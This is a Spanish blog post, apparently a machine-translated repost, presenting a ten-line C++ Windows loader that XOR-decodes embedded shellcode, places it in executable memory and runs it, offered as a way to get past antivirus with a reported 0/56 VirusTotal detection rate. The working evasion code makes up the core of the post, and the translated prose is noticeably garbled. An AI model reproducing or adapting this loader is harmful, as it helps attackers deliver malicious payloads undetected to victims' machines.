viernes, 18 de marzo de 2016

Bypassing Antivirus con diez líneas de código o (una vez más)

en primer lugar este post no me pertenece pero a un asi me gustaria compartirlo por la simplicidad del metodo de Bypassing presiona pagina original
Me había propuesto originalmente para escribir un post largo aliento en diferentes técnicas de derivación antivirus. Fui a través de lo que se suponía que era el paso 1 de mi guía y subido mi binario resultante para VirusTotal. Para mi sorpresa total y absoluta, el binario tiene una tasa de detección de 0/56. Me decidí a tirar mi largo aliento idea y seguir adelante con este método rápido y sucio, e increíblemente fácil.
Creo que la mayoría de mis lectores estarán de acuerdo conmigo en que la mayoría de los antivirus sin pasar por soluciones basadas es más bien trivial, sin embargo, de vez en cuando me tropiezo a algunas personas que únicamente dependen de herramientas que generan binarios que pueden ser fácilmente huellas digitales y marcados por las soluciones antivirus. Este artículo se destina gran parte de esa audiencia.
Antes de profundizar en este pequeño bocado de código C ++, me gustaría tocar en una herramienta que es realmente bueno para producir binarios que casi siempre escapan a la detección, Velo-Evasión (parte del Velo-framework). Esta herramienta es impresionante (muchas gracias a @harmj0y y otros para crear y contribuir a este proyecto increíble) y en casi todos los casos he tenido que usarlo no me ha defraudado. Si es así, me culpar a las personas que mantienen los binarios de generación y luego probarlos en VirusTotal. Si ustedes, la gente podría dejar de hacer eso, que sería grande. 
En cualquier caso, esto plantea la pregunta, si las herramientas como velo de evasión son tan épicas, ¿por qué debería preocuparse por saber cómo palma junto un binario con una carga útil de código shell? Bueno, hay una serie de razones: 
*Los binarios generados por las herramientas se convierten en fingerprintable; no necesariamente la carga útil, pero la estructura compilada del binario.
*Como pruebas de penetración, que realmente debe saber cómo hacer esto. 
Antes de tomar un vistazo al código de abajo, vale la pena señalar que este se dirige a la plataforma Windows; ya que obviamente ha señalado con la referencia a windows.h  ;)
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
 char b[] = {/* Tu palabra con la clave de código shell 'x', va aquí 0x4C,0x4F, 0x4C */};
 char c[sizeof b];
 for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';
}
 void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, c, sizeof c);
 ((void(*)())exec)();
}
  
En pocas palabras, el código anterior crea una matriz de caracteres con código shell puede agregar, realiza una operación XOR con la clave increíblemente sofisticada de minúsculas "x", asigna una cierta memoria, copia la matriz de caracteres en dicha memoria asignada, y lo ejecuta. Puede valer la pena destacar que necesitará su código shell XOR con la clave de la elección (en este caso 'x') antes de colocarlo en el código anterior y compilar.
Así que es probable que esté mirando y pensando que "realmente? ' - Se como te sientes. Así es como me sentí después de mi intención que este es el paso 1 de mi tutorial y me encontré a través de VirusTotal y volvió 0/56 detección. Me gustaría hacer hincapié en que se trata de una técnica sencilla y la más básica increíble, sin embargo, su éxito es aún más sorprendente.
Originalmente escribí este ejemplo y probado en total de virus hace un tiempo, pero lo hice volver a analizar el archivo ejecutable en VirusTotal en el momento de la publicación de este post y lo encontró todavía tenía una tasa de detección de 0.
   
  

No hay comentarios.:

Publicar un comentario